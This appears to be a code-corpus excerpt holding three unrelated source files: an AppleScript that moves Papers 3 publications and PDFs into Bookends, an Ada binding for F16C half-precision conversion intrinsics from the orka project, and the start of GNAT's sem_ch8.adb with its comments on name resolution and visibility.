many publications -- (and PDFs) were imported. If the reported number of imported publications is less than the -- number of publications selected in your Papers library, you may want to open Console.app and -- checkout your system's console log for any errors reported by the script. -- NOTE: Due to a Papers scripting bug, the PDFs exported via this script won't include any -- annotations that you've added in Papers. However, the below workaround allows you to also -- include your annotations when exporting publications from your Papers library to Bookends: -- To include annotations from your Papers library inside the exported PDFs, do this once (before -- you run this script): -- 1. Make sure that the default Bookends attachments folder exists: This is the "Attachments" -- folder inside the "Bookends" folder within your "Documents" folder. Alternatively, you -- can specify a different folder in the `attachmentsFolderPath` property (see below). -- 2. Select all publications in your Papers library that you want to export, then choose -- the "File > Export… > PDF Files and Media" menu command, and make sure that the -- "Include annotations" checkbox is checked (in the save dialog, you may have to click -- the "Options" button to see this option). -- 3. In the save dialog, choose the attachments folder from step 1, and click the "Export" -- button. -- This will export all primary PDFs of all selected publications into your attachments folder. -- When you then run this script, the PDFs in your attachments folder will be used for import -- into Bookends. -- ----------- you may edit the values of the properties below ------------------ -- Specifies whether the publication's flagged status shall be exported to Bookends (`true`) -- or not (`false`). If `true`, and if the publication was flagged in your Papers library, this script -- will add the string given in `flaggedKeyword` (see below) as a keyword to the newly created -- Bookends publication. property transferPapersFlags : true -- The keyword to be added to the newly created Bookends publication if the publication was -- flagged in your Papers library. property flaggedKeyword : "Papers_flagged" -- Specifies whether the publication's color label shall be exported to Bookends (`true`) or not -- (`false`). If `true`, and if the publication was marked in your Papers library with a color label, -- this script will add the color's name (prefixed with the string given in `papersLabelPrefix`, see -- below) as a keyword to the newly created Bookends publication. property transferPapersLabel : true -- The string that will be prepended to a Papers color label name in order to form a special keyword -- which will be added to a newly created Bookends publication if the publication was marked in your -- Papers library with a color label. For example, using the default prefix string, a Papers entry marked -- with a red color label would be tagged with "Papers_label_red" in Bookends. property papersLabelPrefix : "Papers_label_" -- Specifies whether the publication's "papers://…" link shall be exported to Bookends (`true`) -- or not (`false`). If `true` the "papers://…" link will be appended to the Bookends "Notes" field. property transferPapersLink : true -- Specifies whether the publication's citekey shall be exported to Bookends (`true`) -- or not (`false`). If `true` the Papers citekey will be written to the Bookends "Key" field. property transferPapersCitekey : true -- Specifies the path to the attachments folder. For each Papers publication that shall be exported, -- this script will check this folder for a matching file attachment. And if this folder contains a file -- which exactly matches the formatted name of the publication's primary PDF, this file will be used -- for import into Bookends. Otherwise, a new file copy will be exported from your Papers library. -- Note that the path must be given as a POSIX path, either absolute or relative to your home folder. -- Use an empty string ("") to have the script ask for the attachment folder upon first run. The folder -- path will be remembered until the script is recompiled. property attachmentsFolderPath : "~/Documents/Bookends/Attachments" -- ----------- usually, you don't need to edit anything below this line ----------- property attachmentsFolder : missing value property tempFolder : missing value use KeypointsLib : script "KeypointsScriptingLib" use scripting additions on run my setupAttachmentsFolder() my setupTempFolder() KeypointsLib's setupProgress("Importing selected Papers publications into Bookends library…") tell application id "com.mekentosj.papers3" set selectedPubs to selected publications of front library window if selectedPubs is not {} then set exportFilePath to (tempFolder as string) & "PapersToBookends.ris" my exportPublicationsAsRIS(selectedPubs, exportFilePath) delay 1 set risRecords to my risRecordsFromFile(exportFilePath as alias) set {bookendsImportedIDs, bookendsImportedPDFs} to my exportToBookends(selectedPubs, risRecords) tell application "Bookends" activate display dialog "Imported publications: " & (count of bookendsImportedIDs) & linefeed & "Imported PDFs: " & (count of bookendsImportedPDFs) ¬ with title "Finished Importing Publications" with icon note buttons {"OK"} default button "OK" end tell else KeypointsLib's displayError("Nothing selected!", "Please select some publications in your Papers library for export into Bookends.", 15, true) end if end tell end run -- Exports the given list of publication items from your Papers 3 library as RIS to the specified file path on exportPublicationsAsRIS(pubList, exportFilePath) if pubList is {} then KeypointsLib's displayError("Couldn't export RIS file!", "No publications were given for export.", 15, true) else if exportFilePath is missing value or exportFilePath is "" then KeypointsLib's displayError("Couldn't export selected publications as RIS file!", "No export path provided.", 15, true) end if tell application id "com.mekentosj.papers3" export pubList as RIS to file exportFilePath end tell end exportPublicationsAsRIS -- Returns a list of RIS records from the given RIS file on risRecordsFromFile(risFileAlias) set risFileContents to KeypointsLib's readFromFile(risFileAlias) if risFileContents does not contain "TY - " then KeypointsLib's displayError("Couldn't read RIS file contents!", "The exported RIS file could not be read again.", 15, true) end if -- insert a unique delimiter between RIS records, and split on this delimiter set risFileContents to KeypointsLib's regexReplace(risFileContents, linefeed & "ER - " & linefeed & "+TY - ", linefeed & "ER - " & linefeed & "$$##SPLIT_DELIM##$$" & linefeed & "TY - ") set risFileRecords to KeypointsLib's splitText(risFileContents, "$$##SPLIT_DELIM##$$" & linefeed) return risFileRecords end risRecordsFromFile -- Takes a list of publication items from your Papers 3 library and a matching list of RIS records, and imports them into Bookends on exportToBookends(pubList, risRecordList) local aRISRecord set bookendsImportedIDs to {} set bookendsImportedPDFs to {} set pubCount to count of pubList set risRecordCount to count of risRecordList if pubCount is not equal to risRecordCount then KeypointsLib's displayError("Publications don't match RIS file contents!", "The count of publications to be exported doesn't match the number of records in the RIS file.", 15, true) end if KeypointsLib's setTotalStepsForProgress(pubCount) repeat with i from 1 to pubCount tell application id "com.mekentosj.papers3" set aPub to item i of pubList set pubType to resource type of aPub set pubName to title of aPub KeypointsLib's updateProgress(i, "Importing publication " & i & " of " & pubCount & " (\"" & pubName & "\").") set aRISRecord to item i of risRecordList -- remove file spec from RIS record since we provide our own file to Bookends below set aRISRecord to KeypointsLib's regexReplace(aRISRecord, linefeed & "L1 - file://.+", "") -- for books, convert the BT tag in the RIS record to TI so that Bookends 12.8.3 and earlier correctly recognizes the book's title set risType to KeypointsLib's regexMatch(aRISRecord, "(?<=^TY - ).+") if risType is "BOOK" then -- we check the type of the RIS record (instead of pubType) since this also catches eBooks etc set aRISRecord to KeypointsLib's regexReplace(aRISRecord, "(?<=" & linefeed & ")BT(?= - )", "TI") end if -- remove any abbreviated journal name from RIS record since Bookends will autocomplete this using its Journal Glossary if pubType is "Journal Article" then set pubHasFullJournalName to (KeypointsLib's regexMatch(aRISRecord, linefeed & "T2 - .+") is not "") if pubHasFullJournalName then set aRISRecord to KeypointsLib's regexReplace(aRISRecord, linefeed & "J2 - .+", "") end if end if set bookendsImportInfo to "" set aFile to primary file item of aPub set exportFile to false if aFile is not missing value then set missingPDF to (full path of aFile is "" or full path of aFile is missing value) if not missingPDF then set exportFile to true else KeypointsLib's logToSystemConsole(name of me, "PDF is missing for publication \"" & pubName & "\", importing metadata only...") end if end if if exportFile then -- export file & metadata set fileName to formatted file name of aFile if fileName is missing value then KeypointsLib's displayError("Couldn't get file name!", "The file at \"" & filePath & "\" could not be found.", 15, true) end if -- check if the attachments folder already contains an existing file with a matching name (if so, use that, else export a new copy) set pdfExportFilePath to (attachmentsFolder as string) & fileName if KeypointsLib's fileExistsAtFilePath(POSIX path of pdfExportFilePath) then set pdfExportFile to pdfExportFilePath as alias else -- NOTE: due to a scripting bug in Papers, annotations are not included when exporting the file (even if Papers is setup to do so) export {aPub} as PDF Files to file (tempFolder as string) set pdfExportFile to ((tempFolder as string) & fileName) as alias end if tell application "Bookends" to set bookendsImportInfo to «event PPRSADDA» (POSIX path of pdfExportFile) given «class RIST»:aRISRecord else -- export just metadata tell application "Bookends" to set bookendsImportInfo to «event PPRSADDA» given «class RIST»:aRISRecord end if set bookendsImportID to "" set bookendsImportedPDF to "" if bookendsImportInfo is not "" then set bookendsImportID to KeypointsLib's regexMatch(bookendsImportInfo, "^\\d+(?=" & linefeed & ")") if bookendsImportID is not "" then copy bookendsImportID to end of bookendsImportedIDs else KeypointsLib's logToSystemConsole(name of me, "Couldn't properly import publication \"" & pubName & "\". Bookends info: " & bookendsImportInfo) end if set bookendsImportedPDF to KeypointsLib's regexMatch(bookendsImportInfo, "(?<=\\d" & linefeed & ").+\\.pdf(?=$|" & linefeed & ")") if bookendsImportedPDF is not "" then copy bookendsImportedPDF to end of bookendsImportedPDFs else KeypointsLib's logToSystemConsole(name of me, "Couldn't properly import publication \"" & pubName & "\".") end if if bookendsImportID is not "" then try -- getting the json string may cause a -10000 error set pubJSON to json string of aPub on error errorText number errorNumber if errorNumber is not -128 then set pubJSON to missing value KeypointsLib's logToSystemConsole(name of me, "Couldn't properly import color label, language and/or edition for publication \"" & pubName & "\"." & linefeed & "Error: " & errorText & " (" & errorNumber & ")") end if end try -- set rating set rating to my rating of aPub if rating > 0 then tell application "Bookends" to «event PPRSSFLD» bookendsImportID given «class FLDN»:"rating", string:rating end if if transferPapersLabel and pubJSON is not missing value then -- set color label set papersLabel to KeypointsLib's regexMatch(pubJSON, "(?<=" & linefeed & " \"label\": ).+(?=,)") if papersLabel > 0 then -- TODO: set the Bookends color label directly (as of Bookends 12.8.3, this isn't supported yet) --set bookendsLabel to my bookendsLabelForPapersLabel(papersLabel) --tell application "Bookends" to «event PPRSSFLD» bookendsImportID given «class FLDN»:"colorlabel", string:bookendsLabel tell application "Bookends" set tags to «event PPRSRFLD» bookendsImportID given string:"keywords" if tags is not "" then set tags to tags & linefeed «event PPRSSFLD» bookendsImportID given «class FLDN»:"keywords", string:tags & papersLabelPrefix & my papersColorForPapersLabel(papersLabel) end tell end if end if if transferPapersFlags then -- set flagged set isFlagged to flagged of aPub if isFlagged then tell application "Bookends" set tags to «event PPRSRFLD» bookendsImportID given string:"keywords" if tags is not "" then set tags to tags & linefeed «event PPRSSFLD» bookendsImportID given «class FLDN»:"keywords", string:tags & flaggedKeyword end tell end if end if if pubJSON is not missing value then -- set language set language to KeypointsLib's regexMatch(pubJSON, "(?<=" & linefeed & " \"language\": \").+(?=\")") if language is not missing value and language is not "" then tell application "Bookends" to «event PPRSSFLD» bookendsImportID given «class FLDN»:"user7", string:language end if end if if pubJSON is not missing value then -- set edition set edition to KeypointsLib's regexMatch(pubJSON, "(?<=" & linefeed & " \"version\": \").+(?=\")") if edition is not missing value and edition is not "" then tell application "Bookends" to «event PPRSSFLD» bookendsImportID given «class FLDN»:"user2", string:edition end if end if if pubType is "Journal Article" then -- set PMID & PMCID set aPMID to pmid of aPub if aPMID is not missing value and aPMID is not "" then tell application "Bookends" to «event PPRSSFLD» bookendsImportID given «class FLDN»:"user18", string:aPMID end if set aPMCID to pmcid of aPub if aPMCID is not missing value and aPMCID is not "" then tell application "Bookends" to «event PPRSSFLD» bookendsImportID given «class FLDN»:"user16", string:aPMCID end if end if if transferPapersLink then -- append the "papers://…" link to the "notes" field set papersLink to item url of aPub if papersLink is not missing value and papersLink is not "" then tell application "Bookends" set notes to «event PPRSRFLD» bookendsImportID given string:"notes" if notes is not "" then set notes to notes & linefeed & linefeed «event PPRSSFLD» bookendsImportID given «class FLDN»:"notes", string:notes & papersLink end tell end if end if if transferPapersCitekey then -- set Papers citekey set papersCitekey to citekey of aPub if papersCitekey is not missing value and papersCitekey is not "" then tell application "Bookends" to «event PPRSSFLD» bookendsImportID given «class FLDN»:"user1", string:papersCitekey end if end if end if end tell end repeat KeypointsLib's updateProgress(pubCount, "Successfully imported " & (count of bookendsImportedIDs) & " publications with " & (count of bookendsImportedPDFs) & " PDFs.") return {bookendsImportedIDs, bookendsImportedPDFs} end exportToBookends -- Attempts to setup the attachments folder based on the POSIX path given in attachmentsFolderPath, or, -- if that path doesn't exist, asks the user to specify an attachments folder. Note that the folder path will -- be remembered until the script is recompiled. on setupAttachmentsFolder() if attachmentsFolderPath starts with "~/" then set homeFolderPath to POSIX path of (path to home folder) set attachmentsFolderPath to KeypointsLib's regexReplace(attachmentsFolderPath, "^~/", homeFolderPath) end if if KeypointsLib's fileExistsAtFilePath(attachmentsFolderPath) then set attachmentsFolder to POSIX file attachmentsFolderPath as alias else set attachmentsFolder to choose folder with prompt "Select the attachments folder containing any file attachments" end if end setupAttachmentsFolder -- Sets up the temporary folder. If the temp folder already exists, this will also remove any contained files. on setupTempFolder() set tempFolderContainer to path to temporary items set tempFolderPath to KeypointsLib's createNewFolder(POSIX path of tempFolderContainer, name of me) set tempFolder to POSIX file tempFolderPath as alias KeypointsLib's deleteFolderContents(tempFolder) -- deletes any existing items from the temp folder end setupTempFolder -- Returns the index of the Bookends color label corresponding to the given Papers label index. on bookendsLabelForPapersLabel(papersLabel) -- Papers label -> Bookends label (color name) -- 0 -> 0 (none) -- 1 -> 1 (red) -- 2 -> 2 (orange) -- 3 -> 7 (yellow) -- 4 -> 3 (green) -- 5 -> 4 (blue) -- 6 -> 5 (purple) -- 7 -> 6 (Papers: grey / Bookends: brown) set bookendsLabels to {1, 2, 7, 3, 4, 5, 6} if papersLabel ≥ 1 and papersLabel ≤ 7 then return item papersLabel of bookendsLabels else return 0 end if end bookendsLabelForPapersLabel -- Returns the color name for the given Papers label index. on papersColorForPapersLabel(papersLabel) set papersColors to {"red", "orange", "yellow", "green", "blue", "purple", "grey"} if papersLabel ≥ 1 and papersLabel ≤ 7 then return item papersLabel of papersColors else return "none" end if end papersColorForPapersLabel
orka_simd/src/x86/gnat/orka-simd-f16c.ads
onox/orka
52
15510
-- SPDX-License-Identifier: Apache-2.0 -- -- Copyright (c) 2016 onox <<EMAIL>> -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. with Orka.SIMD.AVX.Singles; with Orka.SIMD.SSE.Singles; package Orka.SIMD.F16C is pragma Pure; use SIMD.AVX.Singles; use SIMD.SSE.Singles; type m128s is array (Index_Double_Homogeneous) of Integer_16 with Alignment => 16; pragma Machine_Attribute (m128s, "vector_type"); function Convert (Elements : m128s) return m128 with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_vcvtph2ps"; -- Convert 4x 16-bit floats (in lower half) to 4x 32-bit floats function Convert (Elements : m128s) return m256 with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_vcvtph2ps256"; -- Convert 8x 16-bit floats to 8x 32-bit ----------------------------------------------------------------------------- function Convert (Elements : m128; Rounding : Unsigned_32) return m128s with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_vcvtps2ph"; -- Convert 4x 32-bit floats to 4x 16-bit floats (in lower half) function Convert_Nearest_Integer (Elements : m128) return m128s is (Convert (Elements, 0)) with Inline; function Convert_Down (Elements : m128) return m128s is (Convert (Elements, 1)) with Inline; function Convert_Up (Elements : m128) return m128s is (Convert (Elements, 2)) with Inline; function Convert_Truncate (Elements : m128) return m128s is (Convert (Elements, 3)) with Inline; ----------------------------------------------------------------------------- function Convert (Elements : m256; Rounding : Unsigned_32) return m128s with Import, Convention => Intrinsic, External_Name => "__builtin_ia32_vcvtps2ph256"; -- Convert 8x 32-bit floats to 8x 16-bit function Convert_Nearest_Integer (Elements : m256) return m128s is (Convert (Elements, 0)) with Inline; function Convert_Down (Elements : m256) return m128s is (Convert (Elements, 1)) with Inline; function Convert_Up (Elements : m256) return m128s is (Convert (Elements, 2)) with Inline; function Convert_Truncate (Elements : m256) return m128s is (Convert (Elements, 3)) with Inline; end Orka.SIMD.F16C;
gcc-gcc-7_3_0-release/gcc/ada/sem_ch8.adb
best08618/asylo
7
24851
<filename>gcc-gcc-7_3_0-release/gcc/ada/sem_ch8.adb ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S E M _ C H 8 -- -- -- -- B o d y -- -- -- -- Copyright (C) 1992-2016, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING3. If not, go to -- -- http://www.gnu.org/licenses for a complete copy of the license. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Atree; use Atree; with Debug; use Debug; with Einfo; use Einfo; with Elists; use Elists; with Errout; use Errout; with Exp_Disp; use Exp_Disp; with Exp_Tss; use Exp_Tss; with Exp_Util; use Exp_Util; with Fname; use Fname; with Freeze; use Freeze; with Ghost; use Ghost; with Impunit; use Impunit; with Lib; use Lib; with Lib.Load; use Lib.Load; with Lib.Xref; use Lib.Xref; with Namet; use Namet; with Namet.Sp; use Namet.Sp; with Nlists; use Nlists; with Nmake; use Nmake; with Opt; use Opt; with Output; use Output; with Restrict; use Restrict; with Rident; use Rident; with Rtsfind; use Rtsfind; with Sem; use Sem; with Sem_Aux; use Sem_Aux; with Sem_Cat; use Sem_Cat; with Sem_Ch3; use Sem_Ch3; with Sem_Ch4; use Sem_Ch4; with Sem_Ch6; use Sem_Ch6; with Sem_Ch12; use Sem_Ch12; with Sem_Ch13; use Sem_Ch13; with Sem_Dim; use Sem_Dim; with Sem_Disp; use Sem_Disp; with Sem_Dist; use Sem_Dist; with Sem_Eval; use Sem_Eval; with Sem_Res; use Sem_Res; with Sem_Util; use Sem_Util; with Sem_Type; use Sem_Type; with Stand; use Stand; with Sinfo; use Sinfo; with Sinfo.CN; use Sinfo.CN; with Snames; use Snames; with Style; use Style; with Table; with Tbuild; use Tbuild; with Uintp; use Uintp; package body Sem_Ch8 is ------------------------------------ -- Visibility and Name Resolution -- ------------------------------------ -- This package handles name resolution and the collection of possible -- interpretations for overloaded names, prior to overload resolution. -- Name resolution is the process that establishes a mapping between source -- identifiers and the entities they denote at each point in the program. -- Each entity is represented by a defining occurrence. Each identifier -- that denotes an entity points to the corresponding defining occurrence. -- This is the entity of the applied occurrence. Each occurrence holds -- an index into the names table, where source identifiers are stored. -- Each entry in the names table for an identifier or designator uses the -- Info pointer to hold a link to the currently visible entity that has -- this name (see subprograms Get_Name_Entity_Id and Set_Name_Entity_Id -- in package Sem_Util). The visibility is initialized at the beginning of -- semantic processing to make entities in package Standard immediately -- visible. The visibility table is used in a more subtle way when -- compiling subunits (see below). -- Entities that have the same name (i.e. homonyms) are chained. In the -- case of overloaded entities, this chain holds all the possible meanings -- of a given identifier. The process of overload resolution uses type -- information to select from this chain the unique meaning of a given -- identifier. -- Entities are also chained in their scope, through the Next_Entity link. -- As a consequence, the name space is organized as a sparse matrix, where -- each row corresponds to a scope, and each column to a source identifier. -- Open scopes, that is to say scopes currently being compiled, have their -- corresponding rows of entities in order, innermost scope first. -- The scopes of packages that are mentioned in context clauses appear in -- no particular order, interspersed among open scopes. This is because -- in the course of analyzing the context of a compilation, a package -- declaration is first an open scope, and subsequently an element of the -- context. If subunits or child units are present, a parent unit may -- appear under various guises at various times in the compilation. -- When the compilation of the innermost scope is complete, the entities -- defined therein are no longer visible. If the scope is not a package -- declaration, these entities are never visible subsequently, and can be -- removed from visibility chains. If the scope is a package declaration, -- its visible declarations may still be accessible. Therefore the entities -- defined in such a scope are left on the visibility chains, and only -- their visibility (immediately visibility or potential use-visibility) -- is affected. -- The ordering of homonyms on their chain does not necessarily follow -- the order of their corresponding scopes on the scope stack. For -- example, if package P and the enclosing scope both contain entities -- named E, then when compiling the package body the chain for E will -- hold the global entity first, and the local one (corresponding to -- the current inner scope) next. As a result, name resolution routines -- do not assume any relative ordering of the homonym chains, either -- for scope nesting or to order of appearance of context clauses. -- When compiling a child unit, entities in the parent scope are always -- immediately visible. When compiling the body of a child unit, private -- entities in the parent must also be made immediately visible. There -- are separate routines to make the visible and private declarations -- visible at various times (see package Sem_Ch7). -- +--------+ +-----+ -- | In use |-------->| EU1 |--------------------------> -- +--------+ +-----+ -- | | -- +--------+ +-----+ +-----+ -- | Stand. |---------------->| ES1 |--------------->| ES2 |---> -- +--------+ +-----+ +-----+ -- | | -- +---------+ | +-----+ -- | with'ed |------------------------------>| EW2 |---> -- +---------+ | +-----+ -- | | -- +--------+ +-----+ +-----+ -- | Scope2 |---------------->| E12 |--------------->| E22 |---> -- +--------+ +-----+ +-----+ -- | | -- +--------+ +-----+ +-----+ -- | Scope1 |---------------->| E11 |--------------->| E12 |---> -- +--------+ +-----+ +-----+ -- ^ | | -- | | | -- | +---------+ | | -- | | with'ed |-----------------------------------------> -- | +---------+ | | -- | | | -- Scope stack | | -- (innermost first) | | -- +----------------------------+ -- Names table => | Id1 | | | | Id2 | -- +----------------------------+ -- Name resolution must deal with several syntactic forms: simple names, -- qualified names, indexed names, and various forms of calls. -- Each identifier points to an entry in the names table. The resolution -- of a simple name consists in traversing the homonym chain, starting -- from the names table. If an entry is immediately visible, it is the one -- designated by the identifier. If only potentially use-visible entities -- are on the chain, we must verify that they do not hide each other. If -- the entity we find is overloadable, we collect all other overloadable -- entities on the chain as long as they are not hidden. -- -- To resolve expanded names, we must find the entity at the intersection -- of the entity chain for the scope (the prefix) and the homonym chain -- for the selector. In general, homonym chains will be much shorter than -- entity chains, so it is preferable to start from the names table as -- well. If the entity found is overloadable, we must collect all other -- interpretations that are defined in the scope denoted by the prefix. -- For records, protected types, and tasks, their local entities are -- removed from visibility chains on exit from the corresponding scope. -- From the outside, these entities are always accessed by selected -- notation, and the entity chain for the record type, protected type, -- etc. is traversed sequentially in order to find the designated entity. -- The discriminants of a type and the operations of a protected type or -- task are unchained on exit from the first view of the type, (such as -- a private or incomplete type declaration, or a protected type speci- -- fication) and re-chained when compiling the second view. -- In the case of operators, we do not make operators on derived types -- explicit. As a result, the notation P."+" may denote either a user- -- defined function with name "+", or else an implicit declaration of the -- operator "+" in package P. The resolution of expanded names always -- tries to resolve an operator name as such an implicitly defined entity, -- in addition to looking for explicit declarations. -- All forms of names that denote entities (simple names, expanded names, -- character literals in some cases) have a Entity attribute, which -- identifies the entity denoted by the name. --------------------- -- The Scope Stack -- --------------------- -- The Scope stack keeps track of the scopes currently been compiled. -- Every entity that contains declarations (including records) is placed -- on the scope stack while it is being processed, and removed at the end. -- Whenever a non-package scope is exited, the entities defined therein -- are removed from the visibility table, so that entities in outer scopes -- become visible (see previous description). On entry to Sem, the scope -- stack only contains the package Standard. As usual, subunits complicate -- this picture ever so slightly. -- The Rtsfind mechanism can force a call to Semantics while another -- compilation is in progress. The unit retrieved by Rtsfind must be -- compiled in its own context, and has no access to the visibility of -- the unit currently being compiled. The procedures Save_Scope_Stack and -- Restore_Scope_Stack make entities in current open scopes invisible -- before compiling the retrieved unit, and restore the compilation -- environment afterwards. ------------------------ -- Compiling subunits -- ------------------------ -- Subunits must be compiled in the environment of the corresponding stub, -- that is to say with the same visibility into the parent (and its -- context) that is available at the point of the stub declaration, but -- with the additional visibility provided by the context clause of the -- subunit itself. As a result, compilation of a subunit forces compilation -- of the parent (see description in lib-). At the point of the stub -- declaration, Analyze is called recursively to compile the proper body of -- the subunit, but without reinitializing the names table, nor the scope -- stack (i.e. standard is not pushed on the stack). In this fashion the -- context of the subunit is added to the context of the parent, and the -- subunit is compiled in the correct environment. Note that in the course -- of processing the context of a subunit, Standard will appear twice on -- the scope stack: once for the parent of the subunit, and once for the -- unit in the context clause being compiled. However, the two sets of -- entities are not linked by homonym chains, so that the compilation of -- any context unit happens in a fresh visibility environment. ------------------------------- -- Processing of USE Clauses -- ------------------------------- -- Every defining occurrence has a flag indicating if it is potentially use -- visible. Resolution of simple names examines this flag. The processing -- of use clauses consists in setting this flag on all visible entities -- defined in the corresponding package. On exit from the scope of the use -- clause, the corresponding flag must be reset. However, a package may -- appear in several nested use clauses (pathological but legal, alas) -- which forces us to use a slightly more involved scheme: -- a) The defining occurrence for a package holds a flag -In_Use- to -- indicate that it is currently in the scope of a use clause. If a -- redundant use clause is encountered, then the corresponding occurrence -- of the package name is flagged -Redundant_Use-. -- b) On exit from a scope, the use clauses in its declarative part are -- scanned. The visibility flag is reset in all entities declared in -- package named in a use clause, as long as the package is not flagged -- as being in a redundant use clause (in which case the outer use -- clause is still in effect, and the direct visibility of its entities -- must be retained). -- Note that entities are not removed from their homonym chains on exit -- from the package specification. A subsequent use clause does not need -- to rechain the visible entities, but only to establish their direct -- visibility. ----------------------------------- -- Handling private declarations -- ----------------------------------- -- The principle that each entity has a single defining occurrence clashes -- with the presence of two separate definitions for private types: the -- first is the private type declaration, and second is the full type -- declaration. It is important that all references to the type point to -- the same defining occurrence, namely the first one. To enforce the two -- separate views of the entity, the corresponding information is swapped -- between the two declarations. Outside of the package, the defining -- occurrence only contains the private declaration information, while in -- the private part and the body of the package the defining occurrence -- contains the full declaration. To simplify the swap, the defining -- occurrence that currently holds the private declaration points to the -- full declaration. During semantic processing the defining occurrence -- also points to a list of private dependents, that is to say access types -- or composite types whose designated types or component types are -- subtypes or derived types of the private type in question. After the -- full declaration has been seen, the private dependents are updated to -- indicate that they have full definitions. ------------------------------------ -- Handling of Undefined Messages -- ------------------------------------ -- In normal mode, only the first use of an undefined identifier generates -- a message. The table Urefs is used to record error messages that have -- been issued so that second and subsequent ones do not generate further -- messages. However, the second reference causes text to be added to the -- original undefined message noting "(more references follow)". The -- full error list option (-gnatf) forces messages to be generated for -- every reference and disconnects the use of this table. type Uref_Entry is record Node : Node_Id; -- Node for identifier for which original message was posted. The -- Chars field of this identifier is used to detect later references -- to the same identifier. Err : Error_Msg_Id; -- Records error message Id of original undefined message. Reset to -- No_Error_Msg after the second occurrence, where it is used to add -- text to the original message as described above. Nvis : Boolean; -- Set if the message is not visible rather than undefined Loc : Source_Ptr; -- Records location of error message. Used to make sure that we do -- not consider a, b : undefined as two separate instances, which -- would otherwise happen, since the parser converts this sequence -- to a : undefined; b : undefined. end record; package Urefs is new Table.Table ( Table_Component_Type => Uref_Entry, Table_Index_Type => Nat, Table_Low_Bound => 1, Table_Initial => 10, Table_Increment => 100, Table_Name => "Urefs"); Candidate_Renaming : Entity_Id; -- Holds a candidate interpretation that appears in a subprogram renaming -- declaration and does not match the given specification, but matches at -- least on the first formal. Allows better error message when given -- specification omits defaulted parameters, a common error. ----------------------- -- Local Subprograms -- ----------------------- procedure Analyze_Generic_Renaming (N : Node_Id; K : Entity_Kind); -- Common processing for all three kinds of generic renaming declarations. -- Enter new name and indicate that it renames the generic unit. procedure Analyze_Renamed_Character (N : Node_Id; New_S : Entity_Id; Is_Body : Boolean); -- Renamed entity is given by a character literal, which must belong -- to the return type of the new entity. Is_Body indicates whether the -- declaration is a renaming_as_body. If the original declaration has -- already been frozen (because of an intervening body, e.g.) the body of -- the function must be built now. The same applies to the following -- various renaming procedures. procedure Analyze_Renamed_Dereference (N : Node_Id; New_S : Entity_Id; Is_Body : Boolean); -- Renamed entity is given by an explicit dereference. Prefix must be a -- conformant access_to_subprogram type. procedure Analyze_Renamed_Entry (N : Node_Id; New_S : Entity_Id; Is_Body : Boolean); -- If the renamed entity in a subprogram renaming is an entry or protected -- subprogram, build a body for the new entity whose only statement is a -- call to the renamed entity. procedure Analyze_Renamed_Family_Member (N : Node_Id; New_S : Entity_Id; Is_Body : Boolean); -- Used when the renamed entity is an indexed component. The prefix must -- denote an entry family. procedure Analyze_Renamed_Primitive_Operation (N : Node_Id; New_S : Entity_Id; Is_Body : Boolean); -- If the renamed entity in a subprogram renaming is a primitive operation -- or a class-wide operation in prefix form, save the target object, -- which must be added to the list of actuals in any subsequent call. -- The renaming operation is intrinsic because the compiler must in -- fact generate a wrapper for it (6.3.1 (10 1/2)). function Applicable_Use (Pack_Name : Node_Id) return Boolean; -- Common code to Use_One_Package and Set_Use, to determine whether use -- clause must be processed. Pack_Name is an entity name that references -- the package in question. procedure Attribute_Renaming (N : Node_Id); -- Analyze renaming of attribute as subprogram. The renaming declaration N -- is rewritten as a subprogram body that returns the attribute reference -- applied to the formals of the function. procedure Set_Entity_Or_Discriminal (N : Node_Id; E : Entity_Id); -- Set Entity, with style check if need be. For a discriminant reference, -- replace by the corresponding discriminal, i.e. the parameter of the -- initialization procedure that corresponds to the discriminant. procedure Check_Frozen_Renaming (N : Node_Id; Subp : Entity_Id); -- A renaming_as_body may occur after the entity of the original decla- -- ration has been frozen. In that case, the body of the new entity must -- be built now, because the usual mechanism of building the renamed -- body at the point of freezing will not work. Subp is the subprogram -- for which N provides the Renaming_As_Body. procedure Check_In_Previous_With_Clause (N : Node_Id; Nam : Node_Id); -- N is a use_package clause and Nam the package name, or N is a use_type -- clause and Nam is the prefix of the type name. In either case, verify -- that the package is visible at that point in the context: either it -- appears in a previous with_clause, or because it is a fully qualified -- name and the root ancestor appears in a previous with_clause. procedure Check_Library_Unit_Renaming (N : Node_Id; Old_E : Entity_Id); -- Verify that the entity in a renaming declaration that is a library unit -- is itself a library unit and not a nested unit or subunit. Also check -- that if the renaming is a child unit of a generic parent, then the -- renamed unit must also be a child unit of that parent. Finally, verify -- that a renamed generic unit is not an implicit child declared within -- an instance of the parent. procedure Chain_Use_Clause (N : Node_Id); -- Chain use clause onto list of uses clauses headed by First_Use_Clause in -- the proper scope table entry. This is usually the current scope, but it -- will be an inner scope when installing the use clauses of the private -- declarations of a parent unit prior to compiling the private part of a -- child unit. This chain is traversed when installing/removing use clauses -- when compiling a subunit or instantiating a generic body on the fly, -- when it is necessary to save and restore full environments. function Enclosing_Instance return Entity_Id; -- In an instance nested within another one, several semantic checks are -- unnecessary because the legality of the nested instance has been checked -- in the enclosing generic unit. This applies in particular to legality -- checks on actuals for formal subprograms of the inner instance, which -- are checked as subprogram renamings, and may be complicated by confusion -- in private/full views. This function returns the instance enclosing the -- current one if there is such, else it returns Empty. -- -- If the renaming determines the entity for the default of a formal -- subprogram nested within another instance, choose the innermost -- candidate. This is because if the formal has a box, and we are within -- an enclosing instance where some candidate interpretations 